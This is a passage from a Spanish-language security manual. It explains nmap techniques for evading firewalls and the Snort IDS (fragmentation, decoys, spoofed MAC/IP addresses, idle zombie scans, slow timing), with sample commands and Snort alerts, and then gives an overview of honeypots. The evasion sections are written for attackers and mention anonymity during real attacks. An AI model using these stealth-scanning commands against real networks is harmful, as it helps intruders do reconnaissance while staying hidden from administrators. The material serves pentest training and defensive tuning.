Por ejemplo, si ejecutamos un clásico escaneo de puertos contra una máquina windows sin un firewall activo, podríamos ver lo siguiente:# nmap -sS -sV 10.10.10.200Starting nmap 5.21 ( http://nmap.org ) at 2012-02-29 01:48 ARTnmap scan report for 10.10.10.200Host is up (0.00062s latency).Not shown: 997 closed portsPORT STATE SERVICE VERSION135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn445/tcp open microsoft-ds Microsoft Windows XP microsoft-dsMAC Address: 08:00:27:61:34:29 (Cadmus Computer Systems)Service Info: OS: WindowsService detection performed. Please report any incorrect results at http://nmap.org/submit/ .nmap done: 1 IP address (1 host up) scanned in 7.71 seconds

Es posible ver los puertos y los servicios en ejecución, sin embargo, contra la misma máquina, con el firewall correctamente configurado, lo mas probable es que la salida del mismo comando sea similar a la siguiente:

>nmap -sS -sV 10.10.10.200Starting nmap 5.21 ( http://nmap.org ) at 2012-02-29 01:50 ARTnmap scan report for 10.10.10.200Host is up (0.00038s latency).All 1000 scanned ports on 10.10.10.200 are filteredMAC Address: 08:00:27:61:34:29 (Cadmus Computer Systems)Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .nmap done: 1 IP address (1 host up) scanned in 21.71 seconds

No solamente el escaneo ha tardado tres veces más, ademas no ha arrojado ningún resultado de interés, solamente que la máquina objetivo se encuentra activa.

¿Cómo es posible determinar si un puerto se encuentra abierto o inclusive el sistema operativo en ejecución si existe un Firewall que impide conocer estos detalles?

En nmap existen algunas técnicas que permiten detectar cuando un puerto se encuentra abierto y filtrado por el firewall.

- 76 -

Page 77: Seguridad

Técnicas de Evasion con nmapAunque existen algunos tips que le permiten a un atacante obtener información sobre puertos y servicios que se encuentran filtrados por un firewall, no existe una opción en nmap que permita identificar si un puerto determinado se encuentra abierto y/o esta filtrado por un firewall. Solamente conociendo el protocolo TCP/IP y como funciona el intercambio de paquetes entre dos host, le permite a un atacante identificar cuales puertos se encuentran realmente abiertos. Para controlar las características de envió de paquetes a un host objetivo se pueden establecer algunas opciones en nmap con el fin de controlar y de alguna forma, predecir las respuestas del host objetivo.

NOTA: Frecuentemente cuando un sistema se encuentra protegido con un sistema de protección como un Firewall o un IDS, evadir estos mecanismos puede llevar tiempo, en algunos casos incluso horas,

ademas, si a esto le adicionamos el uso de Tor, (en el caso de que se trate de un ataque real y se desee anonimato) el tiempo se multiplica, en especial si no se selecciona un nodo de salida concreto para la red de Tor, permitiendo que cada petición viaje por varios nodos de salida de

la red. También es bastante frecuente utilizar la técnica de escaneo conocida como Idle Scan (-sI) que le permite al usuario proteger su

identidad enviando todos los paquetes por medio de una máquina que esta siendo manejada como “zombie”, esta técnica también tiene

cuestiones de rendimiento que hacen que su desempeño sea bastante lento. En resumen, es una tarea que necesita paciencia por parte del

atacante y sobre todo practica y experiencia.

Veamos algunas de estas opciones que permitiran mantenernos un poco mas a salvo de las miradas de los administradores.

-f: Esta opción intenta fragmentar los paquetes que se envían al objetivo en pequeños trozos, de esta forma es un poco mas difícil para un IDS o los Filtros de un Firewall identificar que se trata de un escaneo de puertos, con esta opción hace que nmap divida los paquetes en pequeños trozos de 8 bytes o incluso menos, sin embargo, si lo que se desea es que los fragmentos sean de un tamaño concreto, también se puede especificar la opción --mtu. Por otra parte, si se especifica dos veces en esta opción se duplica el tamaño de los fragmentos en 16

--mtu: Indica el tamaño en bytes de fragmentación de los paquetes que se envíen al objetivo, el valor tiene que ser un múltiplo de 8 y no se debe especificar esta opción junto con -f, cumple los mismos fines que la opción -f, no obstante le da mas control al pentester para especificar un tamaño concreto para los paquetes

-D: Ejecuta un escaneo usando distintos “señuelos”, esto quiere decir que las peticiones que se envían a la máquina objetivo se envían desde las direcciones IP indicadas con esta opción (separadas por coma), estas direcciones IP pueden ser reales o no, la intención es

- 77 -

Page 78: Seguridad

que el origen de las peticiones no sea el mismo para todas, utilizando esta opción junto con tiempos de espera un poco mas largos es posible evadir sistemas de detección de intrusos y en algunos casos restricciones de Firewall. Por otro lado es posible generar estas direcciones de forma aleatoria, simplemente utilizando la palabra clave RND:<numero de direcciones>, también puede usarse la palabra reservada ME para incluir la dirección IP real del atacante en la lista de señuelos.

--source-port: Esta opción permite establecer el puerto de origen por donde se enviaran los paquetes, esta opción es útil contra algunos firewall que “confían” en las peticiones enviadas de cualquier máquina por un puerto determinado, (por ejemplo algunas versiones del firewall Windows aceptan peticiones de maquinas cuyo puerto de origen es el 88, puerto común para la comunicación de Kerberos)

--spoof-mac: Esta opción permite al atacante utilizar una MAC distinta a la suya en el proceso de escaneo, inclusive puede sugerir a nmap que genere una MAC correspondiente a un nombre de proveedor como por ejemplo Cisco

--data-length: Se trata de la longitud en bytes que contendrá los paquetes aleatorios generados por nmap para enviar al objetivo, en escaneos que intenten evadir restricciones de Firewall, es frecuente usar valores pequeños por cuestiones de rendimiento en el escaneo.

--randomize-hosts: Escaneo de hosts aleatorio para cambiar la firma de escaneo y evitar detección de IDS, esta opción le indica a nmap que debe “barajar” o “revolver” un grupo de hosts ficticios para que no sea tan evidente el escaneo para el objetivo.

--sent-eth: Enviar los paquetes vía Ethernet

--ip-options: Consiste en establecer determinadas opciones incluidas en los headers de los paquetes IP, de esta forma pueden engañarse algunas reglas de ciertas configuraciones de Firewall que se basan en algunos de estos campos en los paquetes IP. Si se desea todas ver las opciones incluidas en los paquetes enviados y recibidos, utilizar la opción --packet-trace.

--ttl: Time To Live de cada uno de los paquetes enviados al objetivo, frecuentemente puede ser empleado para especificar el tiempo que se utilizara en cada escaneo

Estas son solo unas de las opciones mas utilizadas para evadir las restricciones de un Firewall.

Ejemplo 1:

# nmap --spoof-mac Cisco -T4 --source-port 53 \-sS --send-ip -n --data-length 30 --randomize-hosts \-PN -p- -f -f -sV --version-all -O -oA target_scan-%D-%T 10.10.10.201

Con este ejemplo utilizamos una “mac” Cisco, definimos el valor “4” de la opción T para personalizar los controles de tiempo que llevará el escaneo (*), estableciendo el puerto de origen 53, modo stealthy scan, longitud máxima de paquete de 30 bytes, escaneos de hosts aleatorios, no enviamos paquetes ping, escaneamos los puertos desde 1-65535, generamos

- 78 -

Page 79: Seguridad

paquetes en fragmentos de 16 bytes, realizamos la detección de versión y finalmente generamos un archivo de salida con los resultados formateado con la fecha del escaneo.

(*) Niveles: paranoid = 0 / sneaky = 1 / polite = 2 / normal = 3 / aggressive = 4 / insane = 5

Ejemplo 2:

# nmap -sS --log-errors --reason –packet-trace \-d3 -D 22.22.22.22,33.33.33.33,RND:4,ME \-oN nmap-log.nmap 192.168.1.34

Ahora estamos realizando un stealthy scan, enseñando mensajes de error y la razón por la cual un puerto ha sido declarado “abierto|cerrado|filtrado”, realizamos un traceo de todos los paquetes enviados a nivel de detalle “fino”, declaramos el nivel de depuración 3 (el más alto es el 9), declaramos dos señuelos estáticos, cuatro aleatorios y uno que incluye la IP del atacante (esto último en términos prácticos no es aconsejable), finalmente generamos un archivo en formato nmap que puede ser posteriormente “relanzado” en el caso de que sea interrumpido el escaneo con el siguiente comando:

# nmap --resume nmap-log.nmap

Ejemplo 3:

# nmap --mtu 32 --send-eth --data-length 50 \--source-port 53 -PN --ip-options “\1\8\3\4″ 192.168.1.34

En este ejemplo establecemos un mtu especifico de 32 bytes por paquete, los paquetes son enviados vía ethernet, establecemos un valor de 50 bytes al máximo de cada paquete de datos, esto indica que este valor se dividirá entre 32 bytes que es la unidad de bytes por paquete, cada paquete es fragmentado en 2 paquetes, uno de 32 bytes y otro de 18, se establece un puerto que es por el que se enviaran los paquetes.

Como ya se ha indicado anteriormente, algunos firewall con malas configuraciones permiten conexiones entrantes en función del puerto origen por donde han sido enviados.

Se indica a nmap que no realice peticiones “ping” a la máquina ya que se asume que se encuentra activa, se establece la opción “\1\8\3\4” que permite determinar si es una maquina Windows o GNU/Linux dependiendo de la respuesta y finalmente se establecen las opciones de IP. Los valores validos pueden ser: R,T,U,L,S y valores decimales/hexadecimales.

Para mayor información les recomiendo visitar http://seclists.org/nmap-dev/

En el ejemplo 3, si la máquina objetivo no es Windows la respuesta será similar a la siguiente:

SENT (0.1980s) ARP who-has 192.168.1.36 tell 192.168.1.34RCVD (0.1990s) ARP reply 192.168.1.36 is-at 08:00:27:61:34:29SENT (0.4500s) ICMP 192.168.1.34 > 192.168.1.36 echo request (type=8/code=0) ttl=46 id=39558 iplen=32 ipopts={ NOP ??{\x08\x03\x04}}

- 79 -

Page 80: Seguridad

Si la maquina objetivo es Windows la respuesta sera similar a la siguiente:

SENT (0.0570s) ICMP 192.168.1.34 > 192.168.1.34 echo request (type=8/code=0) ttl=57 id=39881 iplen=32 ipopts={ NOP ??{\x08\x03\x04}}RCVD (0.0570s) ICMP 192.168.1.34 > 192.168.1.34 echo request (type=8/code=0) ttl=57 id=39881 iplen=32 ipopts={ NOP ??{\x08\x03\x04}}RCVD (0.0570s) ICMP 192.168.1.34 > 192.168.1.34 echo reply (type=0/code=0) ttl=64 id=38533 iplen=28

Como puede apreciarse, la diferencia radica en la respuesta RCVD entre ambas máquinas, mientras que en la máquina Windows el paquete contiene las opciones IP establecidas a ipopts={ NOP ??{\x08\x03\x04}} la máquina bajo GNU/Linux ha comprendido correctamente la opción IP y no ha registrado ningún mensaje de error o warning, lo que nos permite dictaminar la plataforma de un objetivo, aunque este se encuentre detrás de un Firewall.

Idle Scan, tu mejor aliadoSi la combinación de las técnicas anteriormente descritas no permite obtener información sobre puertos abiertos en la máquina objetivo, es probable que la conexión no sea posible establecerse entre la máquina del atacante y la máquina objetivo, al menos de forma directa, probablemente el Firewall tenga reglas para que solamente unas cuantas direcciones IP tengan acceso a los servicios de la máquina.

En estos casos es necesario utilizar una técnica avanzada conocida como Idle Scan, que consiste básicamente en el uso de un “Zombie” para realizar el escaneo de puertos contra la máquina objetivo, esto es conseguido por medio de una vulnerabilidad a la que están expuestos algunos sistemas operativos, por supuesto Windows es uno de ellos =D, que consiste en predecir cual es el IPID (Número de Identificación de Fragmento de un paquete IP) para posteriormente consultar si un puerto se encuentra abierto o no en la máquina atacada.

El flujo de este mecanismo de escaneo es el siguiente:

1. La máquina del atacante ha identificado una máquina vulnerable a ser tratada como Zombie, por lo tanto le envía un paquete SYN/ACK, dado que la maquina Zombie no ha enviado un paquete SYN no entiende el paquete SYN/ACK que envía la máquina del atacante, por este motivo, retorna un paquete RST con el IPID (por ejemplo el 3345)

2. El atacante con esta información enviá un paquete SYN a la maquina objetivo con el IPID (en este caso el 3345) haciéndose pasar por el Zombie, si la máquina remota acepta conexiones de dicha máquina (del Zombie), puede decirse que puede explotarse la relación de confianza que existe entre ambas maquinas, una oportunidad frecuentemente aprovechada por un atacante

3. La maquina objetivo, enviará entonces un paquete SYN/ACK si el puerto escaneado en el paso anterior se encuentra abierto, o simplemente enviará un paquete RST si esta cerrado, en el caso de que este Filtrado, la máquina objetivo ignorara el paquete y no emitirá ningún tipo de respuesta

4. Si la máquina Zombie en este punto, recibe un paquete SYN/ACK por parte de la

- 80 -

Page 81: Seguridad

máquina objetivo, responderá con un paquete RST dado que en principio no ha enviado ninguna petición SYN, (esta la ha enviado el atacante en el paso 2), al hacer esto, el IPID aumenta en uno (es decir ahora es 3346) si por el contrario recibe un paquete RST, (indicando que el puerto en la máquina objetivo esta cerrado) la maquina Zombie omitirá este paquete, lo que quiere decir que el IPID se quedará sin modificaciones

5. El atacante posteriormente, enviá un paquete SYN/ACK a la máquina Zombie, nuevamente, el Zombie no ha enviado ningún paquete de sincronización anteriormente, así que intenta resetear la conexión enviando un paquete RST, con lo que el IPID aumenta nuevamente en uno

6. El atacante después de recibir el paquete RST del Zombie, puede determinar si un puerto esta abierto o cerrado/filtrado, simplemente comparando el IPID, si este ha aumentado en 2 (el paquete RST enviado desde Zombie hacia el Objetivo y RST desde Zombie hacia atacante) quiere decir que el puerto se encuentra abierto, si por el contrario ha aumentado solamente en 1 (el paquete RST enviado desde Zombie hacia atacante) indica que el puerto se encuentra cerrado o filtrado por firewall desde la máquina Zombie.

Se trata de un mecanismo muy eficaz (aunque lento), que permite explotar relaciones de confianza y huecos en las reglas del firewall.

Para utilizar esta técnica pueden seguirse los siguientes pasos:

1. Identificar las máquinas en el segmento de red del objetivo a las cuales, se tiene acceso y ademas son susceptibles de ser tratadas como Zombies, o que es lo mismo, el mecanismo de generación de IPID es secuencial, para esto puede utilizarse MetaSploit Framework

msf > use auxiliary/scanner/ip/ipidseqmsf auxiliary(ipidseq) > show optionsModule options (auxiliary/scanner/ip/ipidseq):Name Current Setting Required Description—- ————— ——– ———–INTERFACE no The name of the interfaceRHOSTS 192.168.1.0/24 yes The target address range or CIDR identifierRPORT 80 yes The target portSNAPLEN 65535 yes The number of bytes to captureTHREADS 1 yes The number of concurrent threadsTIMEOUT 500 yes The reply read timeout in milliseconds

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24RHOSTS => 192.168.1.0/24

msf auxiliary(ipidseq) > run[*] Error: 192.168.1.0: #<Class:0x7f28ea2ff3e0> execution expired[*] 192.168.1.1′s IPID sequence class: All zeros[*] Error: 192.168.1.4: #<Class:0x7f28eb0fb0e8> execution expired[*] Error: 192.168.1.5: #<Class:0x7f28ead0e1b0> execution expired[*] Error: 192.168.1.6: #<Class:0x7f28eabeea28> execution expired[*] Error: 192.168.1.7: #<Class:0x7f28ea8ffa88> execution expired[*] Error: 192.168.1.8: #<Class:0x7f28ea7a1100> execution expired[*] Error: 192.168.1.9: #<Class:0x7f28ea66ee68> execution expired[*] Scanned 026 of 256 hosts (010% complete)

- 81 -

Page 82: Seguridad

[*] 192.168.1.36′s IPID sequence class: Incremental![*] 192.168.1.37′s IPID sequence class: All zeros[*] 192.168.1.38′s IPID sequence class: All zeros……………………….

Por otro lado también es posible utilizar un script de nmap que permite realizar un escaneo en busca de máquinas que sean susceptibles de ser tratadas como Zombies, esta herramienta puede ser descargada desde http://nmap.org/nsedoc/scripts/ipidseq.html

Una vez descargado el archivo ipidseq.nse se debe ubicar en el directorio “scripts” donde se encuentre instalado nmap. Si se ha utilizado apt-get o un paquete deb/rpm para instalarlo, lo mas probable es que se encuentre en las librerías compartidas de usuario /usr/share/nmap.

Para utilizarlo se puede ejecutar el comando:

# nmap -vv –script ipidseq 192.168.1.1/24

En el ejemplo anterior se ha encontrado una máquina susceptible de ser tratada como Zombie, por lo tanto puede utilizarse para tratar de identificar los puertos abiertos en la máquina objetivo (que en este caso es la 192.168.1.35) simplemente ejecutando:

>nmap -Pn -sI 192.168.1.36 192.168.1.35Starting nmap 5.21 ( http://nmap.org ) at 2011-06-01 21:37 CESTIdle scan using zombie 192.168.1.36 (192.168.1.36:80); Class: Incrementalnmap scan report for 192.168.1.35Host is up (0.051s latency).Not shown: 987 closed|filtered portsPORT STATE SERVICE21/tcp open ftp80/tcp open http135/tcp open msrpc139/tcp open netbios-ssn443/tcp open https445/tcp open microsoft-ds3306/tcp open mysql5357/tcp open unknown49152/tcp open unknown49153/tcp open unknown49154/tcp open unknown49155/tcp open unknown49156/tcp open unknownMAC Address: 08:00:27:E3:E3:3D (Cadmus Computer Systems)nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

Con esto se ha conseguido filtrar información sobre la máquina que se encuentra protegida por el firewall.

- 82 -

Page 83: Seguridad

EVASION DE IDS

Hasta aquí hemos visto como utilizar nmap y ejecutar un ataque de reconocimiento de forma “sigilosa”, evadiendo mecanismos de seguridad en el objetivo y evitando ser detectados en nuestras acciones.

Ahora se intentará evadir las reglas y preprocessors de snort para que de este modo, el escaneo efectuado contra el objetivo sea lo mas silencioso posible, tratando de no despertar sospechas ni levantar ninguna alarma de las definidas en snort (con las reglas y opciones de los preprocessors correctamente configuradas obviamente!!!).

Intentaremos utilizar diferentes opciones de nmap para realizar un escaneo a diferentes máquinas en el segmento de red (snort se ejecutará como NIDS) de esta forma se medirá el nivel de eficiencia de snort y las opciones de configuración disponibles ante las diferentes técnicas de evasión existentes en nmap.

Partiendo de la base que snort se encuentra en ejecución con los preprocessors HTTP Inspect, Frag3, Stream5, sfPortScan, entre otros

más, se intentará ejecutar comandos nmap contra máquinas pertenecientes al segmento de red inspeccionado y se detalla el

comportamiento de snort.

Entonces iniciaremos snort de la siguiente forma:

# snort -i eth0 -A console –daq dump -c /etc/snort/snort.conf

Posteriormente, las siguientes pruebas determinaran el comportamiento de snort ante ataques de reconocimiento utilizando nmap

Decoy Scan con “nmap”Si ejecutamos un escaneo Stealthy con 7 “señuelos” con el siguiente comando:

nmap -sS -D 192.168.1.30, 192.168.1.31, 192.168.1.32, 192.168.1.35, 192.168.1.36,192.168.1.37,ME 192.168.1.34

snort identificará el ataque y generará una alerta como la siguiente:

06/26-18:05:39.953695 [**] [122:2:0] (portscan) TCP Decoy Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.30 -> 192.168.1.34

Fragmentación de Paquetes nmap Si ejecutamos un escaneo TCP sin ejecutar ICMP_REPLY/ICMP_ECHO y fragmentando los paquetes a 8 bytes:

# nmap -PN -P0 -f 192.168.1.34

- 83 -

Page 84: Seguridad

el preprocessor Frag3 de snort identificará el ataque de fragmentación de paquetes y generará una alarma, ademas, el preprocessor sfPortScan identificará que se intentaba realizar un escaneo de puertos TCP.

06/26-18:29:02.793913 [**] [123:13:1] (spp_frag3) Tiny fragment [**] [Priority: 3] {TCP} 192.168.1.33 -> 192.168.1.34 06/26-18:29:02.794002 [**] [123:13:1] (spp_frag3) Tiny fragment [**] [Priority: 3] {TCP} 192.168.1.33 -> 192.168.1.34 06/26-18:29:02.794086 [**] [123:13:1] (spp_frag3) Tiny fragment [**] [Priority: 3] {TCP} 192.168.1.33 -> 192.168.1.34 06/26-18:29:02.794108 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.34 06/26-18:29:02.794221 [**] [123:13:1] (spp_frag3) Tiny fragment [**] [Priority: 3] {TCP} 192.168.1.33 -> 192.168.1.34

Host Aleatorios con nmap Ahora intentaremos ejecutar un escaneo de puertos generando un grupo de direcciones aleatorias y cambiando el puerto origen de la petición.

nmap --source-port 80 -sS -n --randomize-hosts -PN 192.168.1.34

Con esto snort solamente consigue obtener una alarma relacionada con el escaneo:

06/26-18:49:36.255313 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.34

Escaneo de “nmap” + spoofing sobre la identidad del atacanteCon nmap es posible definir una dirección IP falsa, puertos falsos y MAC falsas para realizar un escaneo contra una máquina objetivo. De esta forma aunque exista un sistema de detección de intrusos establecido en la red donde se localizará el objetivo, este detectará que se está realizando un escaneo de puertos pero en los logs se verá la dirección origen que el atacante eligió mostrar.

Se trata de una técnica muy útil, sin embargo no es muy sutil, ya que aunque la identidad del atacante no se ve comprometida (en teoría), es posible que se disparen todas las alarmas en el objetivo por un posible ataque de reconocimiento.

# nmap -PN --spoof-mac 00:11:22:33:44:55 --source-port 80 -n -e eth0 -S 192.168.1.22 192.168.1.34

La dirección 192.168.1.22 no existe, sin embargo, snort simplemente ha alertado que se esta llevando a cabo un escaneo de puertos desde la máquina con dirección IP 192.168.1.22

07/01-18:43:59.477619 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.22 -> 192.168.1.34

Como puede apreciarse, la alerta generada no contiene trazas relacionadas con la dirección IP real del atacante.

- 84 -

Page 85: Seguridad

Como nota adicional, se debe tener en cuenta desactivar consultas DNS reversas (-n) y no ejecutar un ping antes del escaneo (-PN) y no se debe utilizar un escaneo TCP (-sT) ya que en dicho caso snort detectará la dirección real del atacante.

# nmap -sT -PN --spoof-mac 00:11:22:33:44:55 --source-port 80 -n -e eth0 -S 192.168.1.22 192.168.1.34

WARNING: -S will only affect the source address used in a connect() scan if you specify one of your own addresses. Use -sS or another raw scan if you want to completely spoof your source address, but then you need to know what you’re doing to obtain meaningful results.

WARNING: -g is incompatible with the default connect() scan (-sT). Use a raw scan such as -sS if you want to set the source port.

El resultado en la traza de snort.

07/01-19:53:30.908484 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.34

Como se puede apreciar, snort ha identificado la dirección IP real del atacante.

Escaneo controlando el tiempo de entrega de paquetes con nmapSe ejecuta un escaneo con nmap utilizando control de tiempo de entrega de los paquetes a la máquina objetivo, de esta forma, es mucho más difícil que snort pueda identificar el ataque, para conseguir esto se utiliza la opción -T como se ha indicado anteriormente, dependiendo del mecanismo utilizado (T1, T2, T3, etc.) el tiempo del escaneo puede variar considerablemente.

T0

nmap -T0 192.168.1.34

snort no conseguirá identificar el ataque de escaneo de puertos sin embargo, el tiempo empleado en el escaneo será bastante alto, entre 2 y 4 horas.

T1

nmap -T1 192.168.1.34

snort no conseguirá identificar el ataque de escaneo de puertos sin embargo, el tiempo empleado en el escaneo será bastante alto, entre 30 y 45 minutos.

T2

nmap -T2 192.168.1.34

snort no podrá identificar que se trata de un ataque de reconocimiento, pero el escaneo demora aproximadamente 20 minutos.

T3

nmap -T3 192.168.1.34

snort no identifica el ataque de reconocimiento llevado a cabo por nmap, y tarda algo de 10

- 85 -

Page 86: Seguridad

minutos.

T4

nmap -T4 192.168.1.34

snort identifica el ataque de reconocimiento y genera una alarma relacionada con el escaneo realizado

06/26-19:24:49.419571 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.34

T5

nmap -T5 192.168.1.41

snort detecta el ataque y genera tres alarmas por el escaneo, pero la ejecución de nmap ha tardado menos de un minuto.

06/26-19:10:54.275733 [**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.41 06/26-19:10:54.275733 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.41 06/26-19:11:09.100088 [**] [122:1:0] (portscan) TCP Portscan [**] [Priority: 3] {PROTO:255} 192.168.1.33 -> 192.168.1.41

NOTA: Los tiempos tomados y las alarmas generadas son un indicativo aproximado. Dependiendo del entorno que se desee escanear, es

posible que snort pueda detectar el ataque. En un entorno real con unos niveles de seguridad óptimos, probablemente sea conveniente utilizar valores mas bajos (-T0, -T1) aunque el escaneo puede llevar incluso horas, sin embargo si es prioritario no despertar ninguna sospecha,

esta es la mejor opción.

- 86 -

Page 87: Seguridad

HONEYPOTS

Gran parte de los esfuerzos del área de seguridad a la hora de establecer medidas de protección se basan en el aprendizaje de las técnicas utilizadas por los atacantes. Con este propósito, uno de los pilares fundamentales del personal dedicado a la seguridad está enfocado a la recopilación de información para su posterior análisis, para poder aplicar y reforzar las medidas de seguridad en la organización en función de las conclusiones obtenidas.

Pero, ¿qué información se recopila en este proceso y de qué forma?Existen muchas fuentes de información conocidas como pueden ser los informes de nuevas vulnerabilidades de aplicaciones concretas, estudios de analistas independientes, nuevas técnicas de ataque, o incluso información obtenida del último ataque sufrido sobre un recurso corporativo.

Igual que en la película de hacker, no es difícil imaginar técnicas de obtención de información que estén basadas en la implantación de señuelos o trampas en forma de aplicaciones, cuyo propósito es registrar la actividad sospechosa de los potenciales atacantes, para que éstos actúen sin darse cuenta de que su comportamiento está siendo realmente estudiado.

¿Qué es un honeypot?Un honeypot puede ser una aplicacion que simula, de una forma más o menos interactiva, servicios o aplicaciones que registran la actividad sospechosa que un atacante pueda realizar sobre ellos.Al conjunto de honeypots que presentan una arquitectura lógica de red simulando un conjunto de sistemas, servicios y aplicaciones relacionadas, se los denomina como honeynet.Por supuesto, en este tipo de entornos simulados no existe información real sensible ni relativa a la organización, pero si información aparentemente interesante que motive al atacante y le haga “perder” tiempo, al mismo tiempo que proporciona información sobre técnicas y métodos de ataque.

En esta línea existe un proyecto dedicado a sumar esfuerzos y desarrollar pautas para la creación, gestión y divulgación de estos sistemas, denominado el HoneyNet Project (http://www.honeynet.org/) . En su web es posible encontrar tanto papers con información técnica como referencias a los denominados chapters de cada país relacionados con el proyecto.

En cualquier caso, en este tipo de entornos es recomendable no olvidar que estamos tratando con sistemas que interactúan con potenciales intrusos, y que los clasificamos como honeypots porque tanto la información que se expone como los sistemas que puedan verse

- 87 -

Page 88: Seguridad

“comprometidos” no interfieren de forma negativa en el proceso de negocio de la organización. Como habrán supuesto, el interés de estos sistemas y entornos es doble.

Por una parte, el registro de la actividad del atacante que interactúa con el honeypot o la honeynet muestra nuevas técnicas o tendencias de ataques de los que podemos aprender, y por lo tanto, permite planificar e implantar las medidas de seguridad oportunas a corto, medio e incluso a largo plazo para paliar posibles futuros ataques sobre los sistemas productivos de la empresa. Al mismo tiempo, la existencia de sistemas intencionadamente vulnerables conviviendo con sistemas de producción convenientemente securizados (aunque como saben, nunca lo suficiente) proporciona una forma muy efectiva de dirigir la atención del atacante lejos de los sistemas de negocio. Es importante, no obstante, que el entorno vulnerable esté adecuadamente aislado, evitando que pueda servir de puente hacia otros sistemas internos, y por tanto convirtiendo una herramienta en un problema.

¿Cómo podemos recopilar, analizar y aprovechar todos los datos que se van generando? Para ello existen correladores de información que ofrecen una integración bastante sencilla con la mayoría de honeypots existentes, y que a su vez son lo suficientemente flexibles como para adaptarlos al sistema en el que debamos instalarlos.

Clasificación de HoneypotsComo explicamos recien, un honeypot no es más que una aplicación, servicio o sistema que simula ser lo que no es. No tiene un valor productivo para quien lo implanta y está preparado para ser sondeado, atacado y comprometido. Es básicamente un señuelo con el objeto de engañar al atacante que pretenda amenazar nuestros sistemas, al mismo tiempo que ayuda a entender las técnicas de ataque utilizadas.

Por estas razones, es lógico pensar que cualquier actividad que se genere desde o hacia un honeypot, será muy probablemente una actividad ilegítima o no autorizada. Existen diversas formas de clasificar los honeypots. Aquí lo haremos basándonos en dos de sus propiedades principales: la localización concreta dentro de una red y la interacción que permite con el atacante.

Según la LOCALIZACIÓN, pueden situarse en un entorno de:

Honeypots en ProducciónEl objetivo que se pretende alcanzar al implantar un honeypot en una red en producción no es otro que la obtención de información sobre las técnicas empleadas para tratar de vulnerar los sistemas que componen dicha infraestructura.

El abanico de posibilidades que nos ofrece un honeypot en una red en producción es muy amplio. Desde la posibilidad de ubicar el honeypot en el segmento de la red de servidores internos de la compañía, con el objetivo de detectar posibles accesos por parte de usuarios internos a recursos críticos de la organización (por ejemplo algun archivo del sector contable), hasta la publicación de un servicio web con idéntica configuración y diseño que el

- 88 -

Page 89: Seguridad

mismo servicio que está en producción o preproducción.

El mayor inconveniente que supone esta elección es el peligro que supone para los sistemas organizativos el permitir (incluso provocar) que el tráfico malintencionado conviva con el legítimo.

Honeypots en DesarrolloEn este caso, el principal objetivo es la recopilación de la mayor cantidad de información que permita al investigador poder analizar las nuevas tendencias en los métodos de ataque, así como los principales objetivos perseguidos y los distintos orígenes de los ataques. El resultado de este análisis es recogido en informes cuyo objetivo es respaldar la toma de decisiones en la implantación de las medidas de seguridad preventivas.

La principal ventaja de situar el honeypot en una red independiente, dedicada únicamente a la investigación, es la separación del sistema vulnerable del resto de sistemas productivos y evitar así la posibilidad de sufrir un ataque a través del propio honeypot. Por el contrario, el inconveniente es la cantidad de recursos necesarios. Sobre la arquitectura a emplear profundizaremos en próximos posts.

Otro método de clasificación de los “honeypots” es el que define la INTERACCIÓN con el atacante. En este caso, los honeypots se agrupan en dos tipos:

Baja Interacción: El honeypot emula un servicio, una aplicación o un sistema vulnerable. Sus características principales son su sencilla instalación y configuración, junto con lo limitado de su capacidad para obtener diferentes tipos de datos. Unos ejemplos de honeypots de este tipo son:

• Honeyd: Quizás uno de los honeypots más sencillos y populares. Es un demonio que crea hosts virtuales en una red. Los anfitriones pueden ser configurados para ejecutar servicios arbitrarios, y su comportamiento puede ser adaptado para que simule estar en ejecución en ciertos sistemas operativos.

• HoneyC: El objetivo de este honeypot es la identificación de servidores web maliciosos en la red. Para ello emula varios clientes y recaba la mayor cantidad posible de información de las respuestas de los servidores cuando estos contestan a sus solicitudes de conexión. HoneyC es ampliable de diversas formas: pueden utilizarse diferentes clientes, sistemas de búsqueda y algoritmos de análisis.

• Nephentes: Honeypot de baja interacción que pretende emular vulnerabilidades conocidas para recopilar información sobre posibles ataques. Nepenthes está diseñado para emular vulnerabilidades que los gusanos utilizan para propagarse y cuando estos intentan aprovecharlas, captura su código para su posterior análisis.

• Honeytrap: Este honeypot está destinado a la observación de ataques contra servicios de red. En contraste con otros honeypots, que se suelen centrar en la recogida de malware, el objetivo de Honeytrap es la captura de exploits.

• Glastopf: Emula miles de vulnerabilidades para recopilar datos de los ataques contra aplicaciones web. La base para la recolección de información es la respuesta

- 89 -

Page 90: Seguridad

correcta que se le ofrece al atacante cuando intenta explotar la aplicación web. Es fácil de configurar y una vez indexado por los buscadores, los intentos de explotación de sus vulnerabilidades se multiplican.

Alta Interacción: En este caso el honeypot es una aplicación con la cual se puede interactuar y que responde como se espera, con la diferencia de que su diseño está orientado a realizar un registro exhaustivo de la actividad que se lleva a cabo sobre ella y de que la información que contiene no es relevante en ningún caso.

• HI-HAT (High Interaction Honeypot Analysis Toolkit): Herramienta que transforma aplicaciones php en aplicaciones honeypot de alta interacción. Además ofrece una interfaz web que permite consultar y monitorizar los datos registrados.

• HoneyBow: Herramienta de recopilación de malware que puede integrarse con el honeypot de baja interacción Nephentes para crear una herramienta de recolección mucho más completa.

• Sebek: Funciona como un HIDS (Host-based Intrusion Detection System) permitiendo capturar una gran variedad de información sobre la actividad en un sistema ya que actúa a muy bajo nivel. Es una arquitectura cliente-servidor, con capacidad multiplataforma, que permite desplegar honeypots cliente en sistemas Windows, Linux, Solaris, *BSD, etc., que se encargan de la captura y el envío de la actividad recopilada hacia el servidor Sebek. Podríamos decir que forma parte de una tercera generación de honeypots.

